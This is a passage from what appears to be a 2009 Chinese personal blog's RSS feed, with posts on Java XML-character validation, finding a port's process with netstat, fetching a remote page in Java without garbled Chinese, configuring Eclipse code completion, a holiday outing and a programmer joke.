/&gt;&amp;nbsp;55&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;56&lt;br /&gt;&amp;nbsp;57 &lt;br /&gt;&amp;nbsp;58&lt;br /&gt;&amp;nbsp;59&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (!isXMLCharacter(result)) {&lt;br /&gt;&amp;nbsp;60&lt;br /&gt;&amp;nbsp;61&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // Likely this character can't be easily displayed&lt;br /&gt;&amp;nbsp;62&lt;br /&gt;&amp;nbsp;63&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // because it's a control so we use its hexadecimal&lt;br /&gt;&amp;nbsp;64&lt;br /&gt;&amp;nbsp;65&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // representation in the reason.&lt;br /&gt;&amp;nbsp;66&lt;br /&gt;&amp;nbsp;67&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; errorChar++;&lt;br /&gt;&amp;nbsp;68&lt;br /&gt;&amp;nbsp;69&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;70&lt;br /&gt;&amp;nbsp;71&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;72&lt;br /&gt;&amp;nbsp;73&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // If we got here, everything is OK&lt;br /&gt;&amp;nbsp;74&lt;br /&gt;&amp;nbsp;75&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return errorChar;&lt;br /&gt;&amp;nbsp;76&lt;br /&gt;&amp;nbsp;77&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;78&lt;br /&gt;&amp;nbsp;79 &lt;br /&gt;&amp;nbsp;80&lt;br /&gt;&amp;nbsp;81&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;82&lt;br /&gt;&amp;nbsp;83&amp;nbsp;&amp;nbsp;&amp;nbsp; private static boolean isXMLCharacter(int c) {&lt;br /&gt;&amp;nbsp;84&lt;br /&gt;&amp;nbsp;85&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (c &amp;lt;= 0xD7FF)&amp;nbsp; {&lt;br /&gt;&amp;nbsp;86&lt;br /&gt;&amp;nbsp;87&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (c &amp;gt;= 0x20) return true;&lt;br /&gt;&amp;nbsp;88&lt;br /&gt;&amp;nbsp;89&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; else {&lt;br /&gt;&amp;nbsp;90&lt;br /&gt;&amp;nbsp;91&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (c == '\n') return true;&lt;br /&gt;&amp;nbsp;92&lt;br /&gt;&amp;nbsp;93&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (c == '\r') return true;&lt;br /&gt;&amp;nbsp;94&lt;br /&gt;&amp;nbsp;95&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (c == '\t') return true;&lt;br /&gt;&amp;nbsp;96&lt;br /&gt;&amp;nbsp;97&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return false;&lt;br /&gt;&amp;nbsp;98&lt;br /&gt;&amp;nbsp;99&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;100&lt;br /&gt;101&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;102&lt;br /&gt;103 &lt;br /&gt;104&lt;br /&gt;105&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (c &amp;lt; 0xE000) return false;&amp;nbsp; if (c &amp;lt;= 0xFFFD) return true;&lt;br /&gt;106&lt;br /&gt;107&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (c &amp;lt; 0x10000) return false;&amp;nbsp; if (c &amp;lt;= 0x10FFFF) return true;&lt;br /&gt;108&lt;br /&gt;109&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;110&lt;br /&gt;111&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return false;&lt;br /&gt;112&lt;br /&gt;113&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=203</guid><pubDate>Sun, 10 May 2009 11:11:11 GMT</pubDate></item><item><title>用命令行查看占用端口的程序</title><link>http://www.chendw.cn:8080/view.aspx?id=202</link><description>&lt;p&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/05/43c593de24ea45439aedb0c68a767892.jpg" target="_blank"&gt;&lt;/a&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/05/afc708a5918046a48c3161d91b9a67de.jpg" target="_blank"&gt;&lt;/a&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/05/af14d7be66224140969a775bb231f0d8.jpg" target="_blank"&gt;&lt;/a&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/05/8849fdeec2e24c0ebc3ccf93fee9f297.jpg" target="_blank"&gt;&lt;/a&gt;在开始&amp;ldquo;运行&amp;rdquo;里面输入 cmd回车进入命令行窗口，在里面输入 netstat -an -o 可以找到占用端口的的&lt;span style="color: #ff0000;"&gt;PID&lt;/span&gt;&lt;span style="color: #000000;"&gt;，记录下PID的值我们将根据PID来查找具体的进程。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/05/43c593de24ea45439aedb0c68a767892.jpg" target="_blank"&gt;&lt;img src="http://www.chendw.cn:8080/uploads/2009/05/43c593de24ea45439aedb0c68a767892.jpg" alt="3.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;!--more--&gt;
&lt;p&gt;ctrl+alt+del调出任务管理器&lt;/p&gt;
&lt;p&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/05/afc708a5918046a48c3161d91b9a67de.jpg" target="_blank"&gt;&lt;img src="http://www.chendw.cn:8080/uploads/2009/05/afc708a5918046a48c3161d91b9a67de.jpg" alt="1.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/05/af14d7be66224140969a775bb231f0d8.jpg" target="_blank"&gt;&lt;img src="http://www.chendw.cn:8080/uploads/2009/05/af14d7be66224140969a775bb231f0d8.jpg" alt="2.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/05/8849fdeec2e24c0ebc3ccf93fee9f297.jpg" target="_blank"&gt;&lt;img src="http://www.chendw.cn:8080/uploads/2009/05/8849fdeec2e24c0ebc3ccf93fee9f297.jpg" alt="4.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/05/43c593de24ea45439aedb0c68a767892.jpg" target="_blank"&gt;&lt;/a&gt;&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=202</guid><pubDate>Wed, 06 May 2009 07:03:33 GMT</pubDate></item><item><title>忙碌的五一</title><link>http://www.chendw.cn:8080/view.aspx?id=209</link><description>&lt;p&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/06/7874f345bc564f18bdd7f3dd1b1e7fb9.jpg" target="_blank"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/06/7874f345bc564f18bdd7f3dd1b1e7fb9.jpg" target="_blank"&gt;&lt;img src="http://www.chendw.cn:8080/uploads/2009/06/7874f345bc564f18bdd7f3dd1b1e7fb9.jpg" alt="IMG_2143.jpg" width="625" height="478" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;五一难得有个可以休息的时间，终于可以摆脱枯燥的工作了，和一群好兄弟好姐妹们逛了逛太子湾公园以及乌镇。还是你们比较好，嘿嘿！和你们在一起虽然玩得很累但是很惬意。&lt;/p&gt;
&lt;p&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/06/7874f345bc564f18bdd7f3dd1b1e7fb9.jpg" target="_blank"&gt;&lt;/a&gt;&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=209</guid><pubDate>Thu, 11 Jun 2009 13:49:03 GMT</pubDate></item><item><title>小沈阳版之程序员的痛苦人生</title><link>http://www.chendw.cn:8080/view.aspx?id=201</link><description>&lt;p&gt;&lt;span id="topicSubject"&gt;1、程序员其实可痛苦的了......需求一做一改，一个月就过去了；嚎~需求再一改一调，一季度就过去了；嚎~ &lt;/span&gt;&lt;span&gt;&lt;br /&gt;2、程序员最痛苦的事儿是啥，知道不？就是，程序没做完，需求又改了；&lt;br /&gt;3、程序员最最痛苦的事儿是啥，知道不？ 就是，系统好不容易做完了，方案全改了；&lt;br /&gt;4、程序员最最最痛苦的事儿是啥，知道不？ 就是，系统做完了，狗日的客户跑了；&lt;br /&gt;5、程序员最最最最最痛苦的事儿是啥，知道不？ 就是，狗日的客户又回来了,程序给删没了！&lt;/span&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=201</guid><pubDate>Thu, 23 Apr 2009 09:26:25 GMT</pubDate></item><item><title>JAVA读取远程页面（servlet）输出的内容[解决中文乱码]</title><link>http://www.chendw.cn:8080/view.aspx?id=200</link><description>&lt;p&gt;今天遇到遇到一个项目，需要采集远程端servlet输出的xml数据，以前没接触过，在网上搜了下发现不少都会有乱码的现象，这里根据网上的文章整理了一下发出来和大家共享一下，调用下面的方法应该不会出现乱码问题。&lt;/p&gt;
&lt;!--more--&gt;
&lt;p&gt;package cn.com.bsoft.Package;&lt;/p&gt;
&lt;p&gt;import java.io.BufferedReader; &lt;br /&gt;import java.io.IOException; &lt;br /&gt;import java.io.InputStream; &lt;br /&gt;import java.io.InputStreamReader; &lt;br /&gt;import java.net.MalformedURLException; &lt;br /&gt;import java.net.URL; &lt;br /&gt;import java.net.URLConnection;&lt;/p&gt;
&lt;p&gt;public class test {&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; /** &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * @param args &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; */ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; public static void main(String[] args) { &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // TODO Auto-generated method stub &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; test t= new test();&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //请填写网站相应的编码格式 utf-8 ,gb2312这样就不会乱码了 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; System.out.println(t.getRotmePage("&lt;a href="http://www.baidu.com&amp;quot;,&amp;quot;gb2312&amp;quot;));"&gt;http://www.baidu.com","gb2312"));&lt;/a&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; public String getRotmePage(String url,String charset) { &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; String sText = ""; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; URLConnection urlcon = null; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; try { &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; URL XmlUrl = new URL(url); &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; urlcon = XmlUrl.openConnection(); &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; InputStream in = urlcon.getInputStream(); &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; String line = ""; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; InputStreamReader fileIn = new InputStreamReader(in,charset); &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; BufferedReader reader = new BufferedReader(fileIn); &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; while ((line = reader.readLine()) != null) { &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sText += line; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } catch (MalformedURLException e) { &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; e.printStackTrace(); &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } catch (IOException e) { &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; e.printStackTrace(); &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return sText; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;}&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=200</guid><pubDate>Wed, 22 Apr 2009 13:06:38 GMT</pubDate></item><item><title>龙博AJAX框架</title><link>http://www.chendw.cn:8080/view.aspx?id=199</link><description>&lt;p&gt;龙博AJAX框架是一个类似于Extjs的国产AJAX图形界面框架，包含40个图形界面控件, 例如标签(Tabs)，窗口对话框(Dialog),树(Tree)，树型表格(TreeGrid)，时间线(TimeLine)等等；并带有所见即所得的界面设计器。&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.longboo.com/"&gt;http://www.longboo.com/&lt;/a&gt;&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=199</guid><pubDate>Fri, 17 Apr 2009 16:44:05 GMT</pubDate></item><item><title>discuz的jsp版本提供免费下载,开源的</title><link>http://www.chendw.cn:8080/view.aspx?id=198</link><description>&lt;p&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/04/61f02f20feda425691774a1b13362722.jpg" target="_blank"&gt;&lt;/a&gt;做个标记以备不时之需&lt;/p&gt;
&lt;p&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/04/61f02f20feda425691774a1b13362722.jpg" target="_blank"&gt;&lt;img src="http://www.chendw.cn:8080/uploads/2009/04/61f02f20feda425691774a1b13362722.jpg" alt="jsprun_xf_box.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.jsprun.com/index.jsp"&gt;http://www.jsprun.com/index.jsp&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=198</guid><pubDate>Fri, 17 Apr 2009 16:30:44 GMT</pubDate></item><item><title>增强Eclipse ，MyEclipse 的代码自动提示功能</title><link>http://www.chendw.cn:8080/view.aspx?id=197</link><description>&lt;p&gt;&lt;span style="font-family: arial black,avant garde; font-size: small;"&gt;一般默认情况下，&lt;span&gt;Eclipse&lt;/span&gt; ，&lt;span&gt;MyEclipse&lt;/span&gt; 的代码提示功能是比&lt;span&gt;Microsoft Visual Studio&lt;/span&gt;的差很多的，主要是&lt;span&gt;Eclipse&lt;/span&gt; ，&lt;span&gt;MyEclipse&lt;/span&gt;本身有很多选项是默认关闭的，要开发者自己去手动配置。如果开发者不清楚的话，就不知道&lt;span&gt;Eclipse&lt;/span&gt; ，&lt;span&gt;MyEclipse&lt;/span&gt;的代码提示功能一样能像&lt;span&gt;Microsoft Visual Studio&lt;/span&gt;的代码提 示功能一样强大。&lt;/span&gt;&lt;/p&gt;
&lt;!--more--&gt;
&lt;p&gt;&lt;span style="font-family: arial black,avant garde; font-size: small;"&gt;先举个简单的例子说明问题所在，例如在&lt;span&gt;Eclipse&lt;/span&gt; ，&lt;span&gt;MyEclipse&lt;/span&gt;代码里面，打个&lt;span&gt;foreach&lt;/span&gt;，&lt;span&gt;switch&lt;/span&gt;等这些，是无法得到代码提示的（不信自己试试），其他的就更不用说了，而在&lt;span&gt;Microsoft Visual Studio&lt;/span&gt; 里面是得到非常友好的代码提示的。实际上，&lt;span&gt;Eclipse&lt;/span&gt; ，&lt;span&gt;MyEclipse&lt;/span&gt;代码里面的代码提示功能默认的一般是点&lt;span&gt;&amp;ldquo;.&amp;rdquo;&lt;/span&gt;，一般是有了点&lt;span&gt;&amp;ldquo;.&amp;rdquo;&lt;/span&gt;，才会有代码提示。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family: arial black,avant garde; font-size: small;"&gt;原理：&lt;span&gt;&amp;ldquo;Auto Activation triggers for java&amp;rdquo;&lt;/span&gt;这个选项就是指触发代码提示的的选项，把&lt;span&gt;&amp;ldquo;.&amp;rdquo;&lt;/span&gt; 改成&lt;span&gt;&amp;ldquo;.abcdefghijklmnopqrstuvwxyz(,&amp;rdquo;&lt;/span&gt;的意思，就是指遇到&lt;span&gt;26&lt;/span&gt;个字母和&lt;span&gt;.&lt;/span&gt;，（这些符号就触发代码提示功能了。（具体后面有说，放心）&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family: arial black,avant garde; font-size: small;"&gt;增强&lt;span&gt;Eclipse&lt;/span&gt; ，&lt;span&gt;MyEclipse&lt;/span&gt; 的代码提示功能，具体怎么样来配置？&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family: arial black,avant garde; font-size: small;"&gt;下面开始说步骤（注意本人用的 &lt;span&gt;MyEclipse 6.0.1&lt;/span&gt;做讲解）：&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial black,avant garde; font-size: small;"&gt;1.&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: arial black,avant garde; font-size: small;"&gt; 打开&lt;span&gt;MyEclipse 6.0.1&lt;/span&gt;，然后&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: arial black,avant garde;"&gt;&lt;span&gt;&amp;ldquo;window&amp;rdquo;&amp;rarr;&amp;ldquo;Preferences&amp;rdquo;&lt;br /&gt;&lt;br /&gt;2.&lt;/span&gt; 选择&lt;span&gt;&amp;ldquo;java&amp;rdquo;&lt;/span&gt;，展开，&lt;span&gt;&amp;ldquo;Editor&amp;rdquo;&lt;/span&gt;，选择&lt;span&gt;&amp;ldquo;Content Assist&amp;rdquo;&lt;/span&gt;。&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial black,avant garde; font-size: small;"&gt;3.&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: arial black,avant garde; font-size: small;"&gt; 选择&lt;span&gt;&amp;ldquo;Content Assist&amp;rdquo;&lt;/span&gt;，然后看到右边，右边的&lt;span&gt;&amp;ldquo;Auto-Activation&amp;rdquo;&lt;/span&gt;下面的&lt;span&gt;&amp;ldquo;Auto Activation triggers for java&amp;rdquo;&lt;/span&gt;这个选项。其实就是指触发代码提示的就是&lt;span&gt;&amp;ldquo;.&amp;rdquo;&lt;/span&gt;这个符号。 &lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial black,avant garde; font-size: small;"&gt;4. &amp;ldquo;Auto Activation triggers for java&amp;rdquo;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: arial black,avant garde;"&gt;&lt;span style="font-size: small;"&gt;这个选项，在&lt;span&gt;&amp;ldquo;.&amp;rdquo;&lt;/span&gt;后加&lt;span&gt;abc&lt;/span&gt;字母，方便后面的查找修改。然后&lt;span&gt;&amp;ldquo;apply&amp;rdquo;&lt;/span&gt;，点击&lt;span&gt;&amp;ldquo;OK&amp;rdquo;&lt;/span&gt;。&lt;/span&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial black,avant garde; font-size: small;"&gt;5.&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: arial black,avant garde;"&gt;&lt;span style="font-size: small;"&gt; 然后，&lt;span&gt;&amp;ldquo;File&amp;rdquo;&amp;rarr;&amp;ldquo;Export&amp;rdquo;&lt;/span&gt;，在弹出的窗口中选择&lt;span&gt;&amp;ldquo;Perferences&amp;rdquo;&lt;/span&gt;，点击&lt;span&gt;&amp;ldquo;&lt;/span&gt;下一步&lt;span&gt;&amp;rdquo;&lt;/span&gt;。&lt;/span&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial black,avant garde; font-size: small;"&gt;6.&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: arial black,avant garde; font-size: small;"&gt; 选择导出文件路径，本人导出到桌面，输入&lt;span&gt;&amp;ldquo;test&amp;rdquo;&lt;/span&gt;作为文件名，点击&lt;span&gt;&amp;ldquo;&lt;/span&gt;保存&lt;span&gt;&amp;rdquo;&lt;/span&gt;。&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial black,avant garde; font-size: small;"&gt;7.&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: arial black,avant garde; font-size: small;"&gt; 在桌面找到刚在保存的文件&lt;span&gt;&amp;ldquo;test.epf&amp;rdquo;,&lt;/span&gt;右键选择&lt;span&gt;&amp;ldquo;&lt;/span&gt;用记事本打开&lt;span&gt;&amp;rdquo;&lt;/span&gt;。 &lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial black,avant garde; font-size: small;"&gt;8.&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: arial black,avant garde;"&gt;&lt;span style="font-size: small;"&gt; 可以看到很多配置&lt;span&gt;MyEclipse 6.0.1&lt;/span&gt;的信息&lt;/span&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial black,avant garde; font-size: small;"&gt;9.&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: arial black,avant garde;"&gt;&lt;span style="font-size: small;"&gt; 按&lt;span&gt;&amp;ldquo;ctrl + 